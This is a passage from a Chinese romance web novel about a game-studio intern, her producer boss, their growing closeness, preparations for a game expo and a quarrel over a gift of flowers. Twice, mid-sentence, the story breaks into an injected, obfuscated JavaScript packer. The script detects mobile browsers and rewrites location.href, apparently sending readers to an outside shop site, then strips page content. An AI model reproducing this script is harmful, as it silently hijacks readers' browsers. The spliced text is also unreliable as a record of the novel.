他究竟是怎么看待她的?她头一次觉得恩人之女这个身份是个好幌子,她可以借助这层身份,沉沦在这暧昧不清的氛围里。 心不在焉之时,门铃响动,令她陡然回神,打了一个激灵,手指不慎碰到热锅边沿,烫得她“啊”地一声痛呼,手里的勺子跌落在地板上。 客厅的脚步很急,三两秒后,脚步声快速逼近,停在她身旁,伸手将燃气灶开关关掉。 男人的手带着夜色的凉意,力道很轻又不容抗拒,将她的手拉到水龙头下,冰凉的水流冲刷着她被烫伤的手指。 池修白没有说话,也没有移开手,仍然是轻握着她的手,和她一同冲淋冷水。 灼痛感稍减。 田妙妙的意识慢慢归位,身后男人的胸膛贴着她的背,他很高,几乎将她全部包裹其中。 孤身一人的田妙妙,久违地感受到安心,她突然想念起亲人,她唯一在乎的亲人,她的妈妈。 “怎么搞的?笨手笨脚。”池修白数落的话语格外的温柔,他轻叹气:“痛不痛啊?” 田妙妙的眼泪猝不及防地掉了下来。 如果没人看见她受伤,兴许她不会觉得难过,可偏偏被他看见了,她此刻如同小孩子刚学会走路,摔倒后被家人抱起来,委屈大哭。 一滴滴热泪断了线似的砸在池修白的手背上。 田妙妙抽泣不止。 池修白松开手,抬臂替她擦泪,可她的泪仿佛永远也擦不完。 “都怪你,非要喝汤。”田妙妙委屈巴巴,把责任全推给他。 池修白突然将她拥入怀中,一条手臂揽着她的腰,另一手掌覆在她脑后,额头触碰肩膀。他在她耳边,轻声道歉:“对不起。” 田妙妙更晕乎了,耳边的热气让她半边身子发麻,更意外的是,池修白居然抱着她,还给她道歉。 这还是他吗? 田妙妙止泪,从他怀中抬头,他的眼睛中有三分醉意,正如她也是。 今晚的一瓶红酒,让两人都有些出格。 他低头靠近她…… 两人温热的鼻息渐渐交缠,在只隔两指的时刻,一道突如其来的手机铃声,不合时宜地搅乱当前的旖旎氛围。 池修白站直身躯,田妙妙快速后退一步,拉开距离。 手机铃声是池修白的,他垂眸看了眼来电显示,移步去阳台接电话。 在他转身之时,田妙妙才注意到,池修白进门后还没来得及换鞋,就来厨房查看她的情况了。 心里像猫抓了一下,手上的烫伤处,泛着细密和痛和痒,田妙妙继续冲冷水。 池修白接完电话,换上拖鞋,提来一个急救箱,重新回到厨房。 他关掉水龙头,把她拉到岛台处坐好,“我帮你处理一下伤口。” 田妙妙任他摆弄。 他动作很轻柔,而她亦不是娇气的人,忍痛能力一流,两人就这么沉默着处理伤口。 静默让人心悸,田妙妙主动找话题:“刚才的电话……?” 池修白随意回答:“一个朋友,找我救场的。” 听到不是姜星,田妙妙心情愉悦,继续问:“怎么了?” “他是游戏节线下展会的负责人,有家游戏公司突然爆雷,宣布游戏停服,这游戏之前通过了报名审核,现在没法去了,他想把名额转给我。” “啊?这么突然啊?”田妙妙想,游戏业实在太刺激了,有可能一款游戏大爆,整个公司腾飞,也有可能一个突然其来的爆雷,所有人的努力功亏一篑。 “嗯。”池修白见怪不怪:“流水不佳,内部管理混乱,死是有迹可循的,不算突然。” “那《修仙世界》……”说出那四个字的时候,田妙妙简直想咬掉自己的舌头,真是哪壶不开提哪壶:“肯定和这个游戏的情况完全不一样。” “可能更突然一点。”池修白想了想道:“当初多少有点意气成分在。” “你,后悔了吗?”田妙妙最近有在网上搜索过《修仙世界》关服前的相关资讯,看到社区粉丝有两百万之多,完全有成为国民级mmo游戏的发展趋势,心里无尽的遗憾,这要是安安稳稳地运营到今天,都不敢想能赚多少…… “不后悔。”他低头仔细地贴创口贴,声音很轻,没有什么波澜。 你就嘴硬吧!田妙妙心中吐槽。 因为这件事,池修白的事业遭受了毁灭性打击,曾经的光希游戏,那么的潜力无限,现在成了云辰收购的众多工作室之一,两年多没有传出新作品立项,渐渐要被玩家们遗忘。 连同池修白的信誉也跌入谷底,虽然他在游戏领域仍颇具话题和流量,但和之前众口交赞的天才制作人相比,现在的名声可谓毁誉参半、负面居多。 “你信不信,我能拿出好几款比《修仙世界》更成功的游戏。”他说这句话时,语句平淡的宛如在评价今日天气。 大多数人都觉得《修仙世界》的成功是不可复制的,代表池修白游戏生涯的巅峰期,然而于他而言,《修仙世界》只是他生涯阶段性的总结。它的火爆有运气成分在,但更多的是符合预期,有迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097009|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可循的。 田妙妙摇头:“《无限异变》的风格看起来更小众,怎么跟《修仙世界》比?” 潮酷的动漫风格终究只能在泛二次元领域掀起波澜,古风mmo游戏经过几十年的发展,早已形成了一批消费能力很强的固定受众,只要游戏质量过得去,都有的赚。 “这么没信心啊?”他低声笑了下,语气很轻快。 “不是,我很信任你的。”田妙妙忙否认:“就是怕你目标定太高,达不到预期,到时候心理会失衡。现在的问天,能回到光希时期的高度就很好了。” “我想做成的事,不管中间出多少意外,最终都能成。”他依然很有信心。 在这一行,他走了十年,从未停止过前进的步伐,天赋、努力兼而有之,没理由没信心。 “嗯。”田妙妙并没有真正和他共事过,对他的拼命程度和骇人天赋没有概念,但还是很捧场地说:“你一定会成功的。” 包扎完毕,池修白松开她的手,把药膏和创口贴递给她,“这段时间少碰水,按时换药。” “粥……”田妙妙这才想起正在煮的粥,见灶台已经关火,松了一口气,“你尝尝吧。” “被你这突发情况一搞,我都不饿了。”池修白呼出一口气。 “别浪费呀。”田妙妙道,“我看你晚上都没怎么吃。” 池修白点头,去盛粥,慢慢喝掉。 “我的手艺怎么样?”田妙妙眼睛里泛着亮光,一脸求表扬的神情。 碗中的粥逐渐见底,池修白慢条斯理地擦嘴,故作评价:“一般。” “滚呐。”田妙妙已经敢跟他叫板了,“那你还吃得一滴不剩。” 池修白扬眉,“我在发扬珍惜粮食的传统美德。” “口嫌体正直。”田妙妙小声咕哝。 因为手受伤,接下来厨房的收拾活计,全由池修白来做,田妙妙去客厅休息。 池修白做家务还算麻利,他这人有轻微洁癖,常年独居,家里一向整洁,和其他的独居男士大相径庭。 池修白回到客厅,看见闲不住的田妙妙,在手机备忘录里写个不停,他垂眸看了眼,是王者的游玩报告草稿。 “行了,你马上要来新活了,报告可以暂时搁置。”池修白擦干手,在涂护手霜。 田妙妙诧异:“什么活?和今晚的电话有关?” 池修白:“嗯,我在电话里已经答应下来,《无限异变》会参展。” “《无限异变》不是还没上线吗?”田妙妙不解:“没做好也能参展吗?” “嗯,我打算把原定的线下内测安排在游戏展上。”池修白说:“也能起到宣传作用,就是这个决定太突然,要提前准备的事情很多。” “那我……”田妙妙想说,自己刚来,对线下活动展会毫无经验,不知道能帮上什么忙。 然后就听池修白打断她的话语,说:“我打算派你跟进线下活动。” 田妙妙眼睛瞪大,疯了吧?这么临时又重要工作安排给她?她记得中学时曾组织过一次班级元旦表演,这么小的活动就有一大堆要操心的事,更别提大型的游戏展,想想就知道要忙疯了! “为、为什么?”田妙妙结巴起来。 池修白:“因为整个问天工作室,就你最闲。” 21. 第21章 田妙妙多少有点焦虑型人格,突然被委以重任,当晚压力倍增,连觉都睡不着。 越想越觉得,这么大型的活动筹备,根本不是她这个毫无经验的新人能做到的,纵使她长出三头六臂,也不可能搞定这么多。 再说,池修白为什么放心把事情交给她呢?她不认为,是他突然良心发现,洞察出她的潜能,愿意给她机会历练。 田妙妙辗转反侧一通,起身去厕所。 池修白也没睡,在阳台处吹风。 客厅没有开灯,房间内昏暗无比,阳台处的瘦高身影一打眼还蛮吓人的。 田妙妙再次被吓得一激灵,脚不慎踢到沙发脚,猛地“嘶”了一声。 片刻间,灯光亮起,田妙妙捂着脚蜷缩在沙发上的怂样映入池修白眼帘。 田妙妙简直想撞墙。 今天这是怎么了?先是手指被烫到,又是上厕所踢到沙发脚,屡屡受伤,还总被他撞见。 池修白也挺无语,他在沙发一旁坐下,视线落在田妙妙细瘦白皙的脚上,“脚没事吧?” 田妙妙古怪地缩了一下脚。 撞得不算重,痛感尖锐但消散得挺快,缓了一分钟后,好了大半。 田妙妙摇头,起身,“没事,我去一下洗手间。” 走到洗手间门口,她犹豫片刻后又往前走了一段路,啪地一下把客厅灯熄灭,还是黑灯瞎火的比较好,能少点别扭感。 田妙妙从卫生间出来时,池修白已经去阳台的躺椅上坐下了。 他的声音在夜色中响起:“睡不着就过来坐会儿。” 田妙妙脚步停住,纠结一两秒,自动往他的方向走去。 池修白一双长腿已经将躺椅全部占据,田妙妙根本没地方坐,一旁还有个懒人沙发袋,她挪步,被池修白的长腿抬起拦下。 田妙妙心头猛地一颤,望向池修白。 S市是座灯火璀璨的大都市,阳台虽未开灯也有微弱光感,池修白的表情晦暗不明,看不真切。 还没等她出声,池修白伸手抓着她的胳膊,用力一拉,田妙妙身形不稳,跌在他怀中。 她几乎要惊叫出声,就听他轻声“嘘”了下,“别说话,就这样躺会吧。” 她很想问,你这样是什么意思? 可转念一想,是不是因为她没见过什么世面,不懂都市成年人的行事准则,也许这对于池修白来说,就是件稀松平常的事,不需要确定关系,只要你情我愿,就能发生亲密的事。 尤其是,今晚他们都喝了酒,酒精的催化让一切都加速。 等翌日太阳升起,前一晚的暧昧随着晨光消散,只要双方心照不宣,一切都和往常一样。 田妙妙忽然想起,他和姜星,是否也是这样的开端呢? 那她又能否接受呢? 若是心理不接受,身体又能否抗拒呢? 池修白的呼吸在她发顶,温热的气流让她头皮泛起痒意,乱七八糟的想法最终汇为一个念头:还好已经洗过头了。 要是被池修白闻到头油味,那可就尴尬大发了。 池修白没有任何动作,手臂搭在她腰身,虚虚环着。 呼吸频率也很平缓,和睡着了一样。 她不由好奇扭头,如愿看见他闭阖的双眸。 睫毛真长,不亚于女孩子,很符合他的长相,精致俊美,却不含女气。 “在偷看我?” 明明没睁眼,池修白却仿佛看了透视。 被抓包的田妙妙立即反驳:“没有。” “嘴硬。”池修白哼笑,有种猫咪哼唧的矜贵感。 “是你偷看我吧?你不睁眼怎么知道我在偷看?” “你不偷看怎么知道我没睁眼?”一句话把她KO了。 “为什么突然对我……”田妙妙话说了一半,她不知道如何组织另一半语言。 ……这么好?她的成长环境,让她极少体会到关爱,哪怕只有一点点,她都会敏锐地捕捉到。 池修白仍然是闭着眼的,田妙妙很轻,像片纸一样没什么触感。 但很奇妙的是,她能给人一种安心的感觉,仿佛一种精心调配的抚慰剂,快速消除周身的疲惫。 尤其是能让他常年高速运转的大脑平静下来,这很难得,他曾经对爱情的定义就是让人放松的消遣。 和姜星在一起的期间,这种放松感很少有,他们之间牵扯太多工作相关,两人性格都是高傲要强的,某种程度上会加剧关系的紧绷。 他想,或许他的口味真的变成清粥小菜了? 见池修白仍然没有给出回答,田妙妙揪起来的少女心渐渐落空,她说:“我不接受那种事情。” “哪种事情?”他忍不住逗弄。 田妙妙认真地说:“就是面试的时候你说过的话。” 他说最讨厌心思不用在正道上的人。 “我一直把老板的话放在心上的。”田妙妙觉得这个姿势实在没有说服力,挣扎着起身。 池修白没有阻拦,手臂滑落下去。 田妙妙从让她神魂不安的躺椅上下来,站在一边。 “对我的话这么上心,不错。”他表扬。 田妙妙留了句,“我回去了。”快速溜走。 池修白抬起手臂,搭在额头上,无奈地笑了下。 这种类型的女生,他以前从没接触过,也天然地认为自己绝对不会有兴趣,如今看来,嗯,比他想象中的难搞。 不过无所谓,他还不至于去勉强女人。 况且,他也需要一点时间和空间,来确认当下的感觉是否出了偏差。 * 第二日,照例是池修白开车送田妙妙。 这次田妙妙长了个心眼,下车后,和池修白保持很远的距离,防止其他同事看见。 两人恢复完全不熟的工作室老板和员工的关系。 田妙妙今天上午没多少工作,冯舒和孙正阳一大早就被叫出去了,她得空了就继续完善昨天的王者游玩报告初稿。 中午,顾念瑶约她一起吃饭。 两人平时摸鱼时会聊上几句,主要是顾念瑶吐槽的比较多,尤其爱吐槽她的组长,用她的话说就是,金玉其外败絮其中,白瞎一双这么好看的桃花眼。 两人去了附近一家面馆,味道很好,不少人打卡推荐。 点完餐后,顾念瑶迫不及待地输出:“烦死了,昨天我的稿子又被裴文山那个王八蛋打回来了,他还问我是不是花钱进的X美,呵呵,气死我了。” 田妙妙笑了笑,给她倒了一杯大麦茶,“消消气,可能裴组长对工作的要求比较高。” “不许向着他实话,哼!”顾念瑶不满意:“你是我朋友知道吗?” 田妙妙连连点头,她这个i人最喜欢顾念瑶这种e人主动带她玩了。 “这还差不多。”顾念瑶拍拍她的头,又捏捏她的脸,亲昵道:“真漂亮,我宝。” 田妙妙羞涩,“没有没有,我一般般啦。” 顾念瑶作势要打她:“宝贝,你哪里一般啦,你清纯得要死,而且这么瘦,随便穿什么都好看。” 田妙妙低头抿嘴,说不开心是假的,“你才漂亮。”跟小蛋糕似的。 顾念瑶点头,理所当然地说:“我就是美术组的颜担,裴文山他算个屁。” “是是是。” 两人说了没几句,面上来了,看起来蛮诱人。 正吃着,顾念瑶忽然想起来什么,神神秘秘道:“给你偷跑个重大消息,问天要去参展了,国内最大的游戏节哦,就在S市国际会展中心举办,本来我都抢了票打算请假去逛展的,现在看来要去当苦力了。” 田妙妙:…… 这个消息,她好像知道得更早。 “消息怎么传出来的?” “裴文山一大早就被白boss叫去开会了,回来之后在办公室里狂骂白boss压榨他哈哈哈,现在离展会开始都不到一个月了,光设计要用到的宣传物料都能把他忙死。” “哦,你知道这种展会 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“应该还早着呢。”顾念瑶透露说:“说是完成度不错,但问题点也很多,我们美术组这边都不停返工呢,策划那边还是不满意,现在恨不得来我们组盯着画。” “这样啊,那这样去参展能行吗?” “这就不知道了,其实我也没玩到过这个游戏,这几天光被裴文山压榨劳动力了。” “万一游戏表现不好的话……”田妙妙耸了下肩,“会不会裁员呀?” “不用担心,只要还没公测,一切还都有救,不会裁人的。”顾念瑶安慰她:“再说了,你担心这个干什么,这不是白boss该操心的事吗?如果真拉胯了,他的口碑只会雪上加霜。” 这也是田妙妙担心的点。 虽然池修白这人高高在上的时候很讨厌,可她却诡异的,不想看他失败。 “哎呀,毕竟也是问天的一员,肯定希望游戏大卖呀。”田妙妙说。 “你可真有集体荣誉感,我都要痛苦死了,我再也不说毕设折磨人了,在裴文山手下的每一天都堪比期末周!” 两人吃完午饭,回到工作室。 冯舒和孙正阳回来了。 孙正阳完全憋不住事,当即显摆:“猜猜我刚去干什么了?” “开会?”田妙妙捧场。 “NO,NO,NO!再猜!” 田妙妙眨巴眼,表示猜不到。 孙正阳从身后变魔术似的掏出一份合同:“当当当,哥们去签合同了,卧槽你们知不知道,《幻想风云》突然暴毙了,那么大的展台直接转给我们,还是低价转让的哦。” 田妙妙指了指合同:“能看一下吗?” “抓紧看,我马上要把合同拿给白娘子。”孙正阳递给她:“哥们今天听到这个消息时,差点兴奋炸了。” “有什么好兴奋的,接下来要忙死。”冯舒叹气,姜星离开,他们市场运营部本来就少个领头的,现在又紧急加了个展会的活,都不敢想接下来一个月能有几天正常时间下班。 “哎你不懂,我是《无限异变》胫骨。”孙正阳说:“它的每一次亮相,我都兴奋爆表。” 田妙妙草草扫了眼合同,一天光展位费就得大几万,就这还属于孙正阳口中的低价转让。 她啧声:“这么贵啊?” “没事,要是宣传效果好,这点钱不算什么。”孙正阳摆摆手:“现在这个时代的游戏,宣传经费远超制作经费了。” “得多亏了咱们白娘子自带流量,将来能省一大笔呢。”孙正阳神情飞扬,拍了拍田妙妙的肩膀:“放心,问天现金流很充裕的,上个月《逐鹿天下》流水有3亿多呢。” 有才,有钱,有流量,怪不得池修白完全不怕游戏失败呢。 下午,田妙妙正埋头整理,游戏客服反馈上来的问题清单。 池修白再度通知核心员工开会,继续商讨展会的事。 而这次,田妙妙破天荒地被叫过去一起开会了。 22. 第22章 田妙妙是最后一个进会议室的,一进门,悲哀地发现好位置都被占完了。 她定义中的好位置就是犄角旮旯,不容易被老板发现的,方便开小差的位置。 当前只剩下一个位置,好巧不巧在池修白的眼皮子底下。 她拿着小本子进去,梗着脖子走过去落座。 其他人并未对她的到来有什么诧异的,只有孙正阳两人抬手和她招呼了下,大家都很忙,注意力放在即将到来的展会上。 与其说开会,不如说思维风暴,各方大神轮番输出,一开始田妙妙还在笔记本上不停记录,后来干脆放弃了,每个人都说的好有道理,她根本记不过来。她想,她有必要去买个录音笔。 池修白是提问和拍板的人,通常旁人发言完毕,他立马捕捉到其中的亮点或者疑点,一针见血提出来,等着发言者做进一步的阐述。 田妙妙时不时一个心惊胆颤,或是恍然大悟。 会议主要商讨的就是展台布置,活动创意,试玩demo,宣传物料,预警方案等几大块。 由于时间紧,任务重,凡是商讨无误的,直接就在会上确定下来,之后不再变动。 开了两个小时后,池修白让大家稍作休息,过会开下半场。 大家散去,田妙妙正要起身去喝水,被池修白叫住。 “累了?” 田妙妙全程没发言,光听他们输出,就有种头晕脑胀之感,但收益颇多,很涨见识。 “没有。”她摇头。 池修白在她的本子上看了眼,提醒道:“下次开会时带电脑记录。” 说完,池修白把自己的手机递给了田妙妙。 田妙妙一头雾水,迷茫地接过来,干嘛给她手机啊? 池修白:“给大家点些喝的。” “哦哦。”田妙妙点开外卖软件,专门挑贵的点,快付款的时候犹豫了下:“我不知道别人喜欢喝什么啊?要不我去问一下大家?” “随便你。”反正老板请奶茶,无非就是传达心意,根本不在乎下属具体喝什么。 可是去问他们喝什么,就免不得要和每个人交流一番,对田妙妙而言,多少有点心理压力。 见田妙妙在那磨蹭个没完,池修白催促:“做事能不能麻利点,别耽误之后的会议。” 池修白的话无疑就是一条鞭子,猛地抽了她一下,田妙妙火速去了。 等一圈问完,田妙妙发现,大家都还挺友善的,和他们交流也没什么可怕的,无非是提前做的心理建设比较吓人。 就是有一点让她不自在,裴文山笑得有点不怀好意,说以前这种事都是姜星做的,现在全易主了。暗指连池修白都易主了。田妙妙臊得脸红。 点完奶茶之后,田妙妙疯狂抑制翻手机的冲动,赶紧把手机给池修白还回去,怕再多拿一会就忍不住点进微信里。 下半场会议快开始时,下午茶正好也送到了,大家纷纷感谢池修白请客、老板大气云云。 外卖小哥送餐时出了一点小状况,有一杯没有封装好,洒了大半,小哥提出赔偿。 田妙妙无奈,只能接受了。 她把奶茶分发完,最后完好的一杯递给池修白,洒了大半的那杯留给自己。她想,毕竟毕竟点奶茶的是自己,出了状况倒霉的也是她。 池修白直接把田妙妙面前那杯丢了,把自己的推给她:“都不能喝了,还不扔掉。” 虽是嫌弃的口吻,但是把自己的让给她,田妙妙心头还是泛起一点小甜蜜。 “下次不用给老板省钱,多点几杯也无妨。”裴文山那群人在一边笑着调侃。 池修白也跟着笑。田妙妙咬牙,心道下次说什么都要点最贵的,一点优惠劵都没有的那种!看你还笑不笑! 下半场的商讨会,大家吵得更厉害了,谁都有意见,都觉得自己的想法最有创意。 气氛高涨,连田妙妙都忍不住说两句。 江弘深主张重点放在游戏试玩上,应该加大试玩设备的投入,保障参与者的游玩体验,打响游戏的口碑,而裴文山觉得现场试玩终究是一小搓资深玩家才能体验到的,应该加大互动环节的投入,最好互动效果能在互联网上掀起热潮,起到更好的宣传效果。 双方各有各的道理,两边都有不少赞同的声音,大家等着池修白定夺。 池修白考虑了下,颇为壕气道:“这不冲突,可以两手抓。” 至此,他才宣布,这次展会算是《无限异变》第一次线下亮相,不设任何资金预算,一切能用钱解决的都不是问题。 有了老板这句话,大家胆子更大了些,提出的创意越来越新奇。 一直到下班,大家终于把展会策划案的初稿给敲定下来。 之后,池修白给大家发布相应任务,田妙妙的身份居然从小小实习生一跃成为统筹副手,负责上传下达,跟进各流程落地情况,主要就是整理每日任务进展报备给池修白。 她被委以重任主要原因是工作室的人手实在不够,工作室目前不足百人,且大都是游戏开发人员,极少数的运营人员还得负责《逐鹿天下》,就没有专门的活动策划,只能由田妙妙这个意外入职的“闲散人员”来担任,所以其他人对此毫无异议。 可见这份工作并没有多大光环和技术含量,颇有一种大家都想少干点事,正好这里有个倒霉蛋凑上来的美感。 池修白建了个新群,把在场的人都拉进去。 “好了,可以散会了。”池修白宣布完,又跟田妙妙嘱咐了句,“之后的事,你跟他们对一下。” 田妙妙苦笑着点头。 等回到办公室,孙正阳凑过来,跟田妙妙打趣:“咱运营部可以啊,一下子就出来个boss心腹。” “心腹?可别是心腹大患。”田妙妙自嘲。 孙正阳特仗义地拍胸脯:“怕什么?要是有搞不定的,孙哥帮你,咱别的不说,人缘可是一等一的。” “谢谢孙哥。”田妙妙感激不已。 自从开完会后,田妙妙的清闲时光荡然无存,她每天都有忙不完的事,白天要跑不同的部门跟进情况,从参展要用的游戏demo制作和优化状况,到展台设计图纸完成情况,需要用到的宣传物料制作情况,邀请的嘉宾名单等等事无巨细,每一点都要过问,但凡一个不留神,池修白问起来,她就回答不上,然后就收获他冷冷的眼神。 虽说可以在线上跟进,但总归不如线下效率高,一天下来,田妙妙微信步数轻松破万。 等展台的设计方案完成后,池修白签字确认,然后孙正阳去谈搭建展台的合作商,此后田妙妙就得工作室、会展中心两头跑了。 国际会展中心离工作室还挺远,地铁要一个多小时,她跟池修白抱怨了句,池修白表示可以给她配车。 田妙妙说:“不会开。” 池修白不以为然:“去学,这是现代人的基础技能。” 田妙妙没答应,她想S市的公共交通很发达,没车也不影响什么。况且,买车是一笔钱,养车更是源源不断地投入,她才舍不得这笔开销呢。 池修白加码:“报名驾校的钱我出。” 田妙妙立马同意:“好的,等忙完这阵子就去。”就算不买车,白嫖一张驾照也不错,她一向有便宜不占王八蛋。 “等会开了,可以来接我。”池修白说:“就不用请代驾了。” 田妙妙:“敢情你计划的是这个,拿我当免费司机。” 池修白无语,真是好心当成驴肝肺:“我缺你了?” “你放心,等我学会之后,你喝酒了,我一定会去接你的。”田妙妙狗腿子似的保证。 “你愿意来接,我还不一定敢坐呢。”池修白傲娇。 田妙妙眼睛滴溜一转:“那我这段时间打车可以吗?能报销不?” 她料想池修白不会那么小气。 “oa上面本来就有相应的报销流程,还用过来问?” 田妙妙:“收到。” 田妙妙在会展中心呆了半天,跟合作方在自家场地那里转了转,测量相应数据。 忙完回去时,路过一卖花的小摊,老板正欲收摊,摊位上有一些状态不怎么好的花,摊贩老板索性就送给路过的田妙妙了。 田妙妙很开心,她抱着花回工作室,还没来得及把花插在花瓶里,就被池修白一个急call叫过去了。 她进门,脸上是笑盈盈的。 池修白看见她抱着花,面上更是一派笑靥如花的神情,眉头顿时紧皱,片刻后才恢复如常,嫌恶道:“哪来的?” “别人送的。” 池修白刚舒展的眉头再度拧起,他冷笑:“真丑。” “又不要钱。”田妙妙无所谓,况且这花还是能看的呀。 虽然一直都知道田妙妙贪财,毕竟穷人视财如命天经地义,可听到这话时,他还是极度不爽,嘴巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097011|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淬了毒:“这种品质的破花你都愿意收,你是垃圾回收站吗?能不能别让自己看起来这么……便宜货?” 他其实想说的是“下贱”,终究是话到嘴边换了个词。 田妙妙一愣,她没想到从他嘴里听到这么刻薄贬低的话语。 她以为他们的关系已经悄悄发生变化了,她以为他们是平等的个体。 原来他骨子里是看不起她的。 眼泪快速积蓄,她强忍着没掉下来,“还有别的事吗?没有的话我先回去了。” 当前的气氛已经不适合谈论工作,池修白既愤懑、又焦躁,还有一丝慌乱,他挥挥手,示意她可以走了。 田妙妙夺门而出。 她把花丢进垃圾桶里,去露台外抹眼泪,现在这个样子回办公室,一定会被同事们八卦的。 吹了一会风,脸上的泪水已经干涸,田妙妙的思绪渐渐平静下来。 刚才那么难受,并不是因为她的承受能力差,平时田建军对她的攻击远超这个百倍,但她一直知道他就是个烂人,所以也不会真的难过,相反会和他对着干。而池修白不一样,因为她对他有不切实际的幻想,所以他一旦攻击她,她便犹如晴天霹雳,备受打击。 怪只怪她错判了两人的关系。他们本就是云泥之别,性格也天差地别,他瞧不上她很正常,只要自己别妄自菲薄就行。 没必要把情绪全都系于他人的评价上。 又过了一会,顾念瑶现身,她提着两盒包装精美的小蛋糕,安慰道:“别难过了,来陪我一起吃甜品吧。” 田妙妙赶紧擦了下脸,尴尬道:“被你看到了。” 顾念瑶拉着田妙妙坐一旁的桌椅处坐下,解释说:“我就看见你抱着花从外面回来,刚想跟你打招呼就看见你进了白boss的办公室,没过多久就哭着出来了。” “呃……”田妙妙有点无力解释。 “没事的,表白失败嘛,不丢人。”顾念瑶拍了拍她的肩膀,把草莓小蛋糕递过去:“下次换个人喜欢,有句话怎么说,三条腿的蛤蟆不好找,两条腿的男人到处都是。” “……”田妙妙更无力了,这是误会她表白被拒了。虽然以旁观者的视角来看,确实挺像的。 顾念瑶感慨了一句:“不过,你倒是个不声不响干大事的人,一上来就挑战这么难搞的人,我真佩服。白boss其实刚失恋啦,我跟你讲,前几天走掉的姜星好像是他女朋友,所以,他这段时间心情不好,你正好赶上了,就变炮灰了。” “哦。”田妙妙应道。 “别消沉,其实我觉得你可以看看我们同一批来的人呀,我觉得陈驰之就挺不错的,年龄合适,学校也牛,现在还是单身呢。”顾念瑶想让田妙妙换个目标,快点从失恋的阴影中走出来。 田妙妙只得说:“嗯,我知道了。” 两人吃完小蛋糕,田妙妙心情已经好转不少。 顾念瑶:“你放心,这件事情我帮你保密,我就是出来倒咖啡的时候恰好撞见,除了我没有别人看到哦。” 田妙妙哭笑不得:“其实吧,你误会了,我刚才不是去表白,就是,就是被他骂哭了……” 顾念瑶悠悠地看了她一眼,当她是不好意思承认,也是,她这么腼腆的性子,肯定不好意思承认啊,都不知做了多长时间的心理建设才敢去表白的。 池修白啊,真是太辜负少女心了。 顾念瑶身为好朋友,自然不会拆台,顺着她说:“那就好,工作上的事,直接当个屁放了就好了。” 田妙妙点头。 下班时,田妙妙一改常态,没有加班,到点就收拾东西。 孙正阳稀奇道:“呦呵,大忙人今天居然不用加班?” 冯舒怼他:“你管好你自己吧,妙妙这几天辛苦了,早点回去休息吧。” “谢谢舒姐。”田妙妙和大家道别,离开。 回到池修白的房子,田妙妙心里泛起怪异的情绪,明明应该讨厌他才对,可是白住着别人的大house,连生气都没有底气。 搬出去吧。 这个念头在脑海中蹦出来。 穷人的自尊有时一文不值,有时重如泰山,此刻田妙妙的尊严便幻化成了巍峨大山,促使她无论如何,也要搬出去住。 距离发薪日还有一周,这段时间正好可以约中介看看房子。 田妙妙给池修白发微信:谢谢你的房子,下周我会搬出去。 23. 第23章 池修白看见这条消息的时候,心头没由来一阵绞紧感。 他不过是说话过分了点,这个女人竟然要跟他划清界限了! 到底是谁给她送的花? 池修白只知道陈驰之对她有点意思,但今天陈驰之一直在工作室没离开过,不会是送花的人,那还能是谁? 真没想到,自己一个不留神,田妙妙居然在外面也有勾搭的人了。什么时候土妞也这么吃香了? 不过刚才他外出时,看见垃圾桶里的残花,心里好歹顺气了,不管是谁送的,归宿就该是垃圾桶才对。 他的脑海中浮现起,田妙妙下午进门时,脸上那恬淡舒展的笑意,连带整张素净的脸蛋都活色生香起来。他不禁感慨,田妙妙到底是刚出社会,太单纯、太年轻,经历的太少,随便一束不值钱的玩意,就能让她笑得那么灿烂。 他不服输地联系一家花店,订了一束999朵黄玫瑰。 还嫌分量不够,池修白驱车去珠宝专柜,选购了一条钻石手链。 带着花和礼物回家,池修白竟有一丝怪异的期待和紧张。 田妙妙刚吃完饭,在厨房打扫卫生。 听到门铃声响了,她动作顿住。 池修白来了?他为什么过来?两人刚撕破脸皮,这个时候他不应该保持距离吗? 门铃声响了一阵,就不响了,池修白有密码,没人给他开门,索性自己开门进来。 田妙妙没有去管客厅的动静,低头弯腰继续拖地。 池修白敲了下厨房推拉门,田妙妙这才不情不愿地抬头。 巨大的一束黄玫瑰挤占她的眼睛,宛如一团熊熊燃烧的黄色火焰。 她怔住了。 池修白清了下嗓子,别扭开口:“黄玫瑰的花语你应该知道吧?”他想,小女生们对花语之类的多少有点了解。 田妙妙摇头,她的生活离风花雪月相去太远,没兴趣研究各种花的花语。 池修白有点尴尬,把她手里的拖把拿开,将这束花往她怀里一塞,闷声说:“代表道歉。” 田妙妙连忙抱住,花束很重,她一个踉跄,险些跌倒,好在池修白眼疾手快地扶了她一把。 “为什么要送我花?”田妙妙移不开视线,明知故问。 “对不起,我下午说的话,你……”池修白深吸一口气,“你别在意。” 田妙妙很意外,没想到能从他的嘴里听到“对不起”三个字。 “我不是垃圾回收站,而且人家老板的心意无论如何也不能被评价为垃圾。”她强调道。 “老板?”池修白疑惑挑眉。 田妙妙点头:“花是路边卖花的老板送我的,他女儿今天过生日,所以收摊比较早,没卖完的那些就送给我了。” 原来是摊位老板。你看这事闹的…… 池修白松了一口气,又怪她:“那你为什么不早说?” 田妙妙有点无语,“你也没问啊,而且还那么凶,直接骂我。” “我没骂你。”池修白不承认:“就是怕你被外面的人骗了。知不知道现在外面骗子很多的,你就别给警察添麻烦了。” 这是问题的关键吗?再说她都多大的人了,又不是未成年,还能被外面随便一个什么人就骗了吗? “你为什么要关注我会不会被骗?” 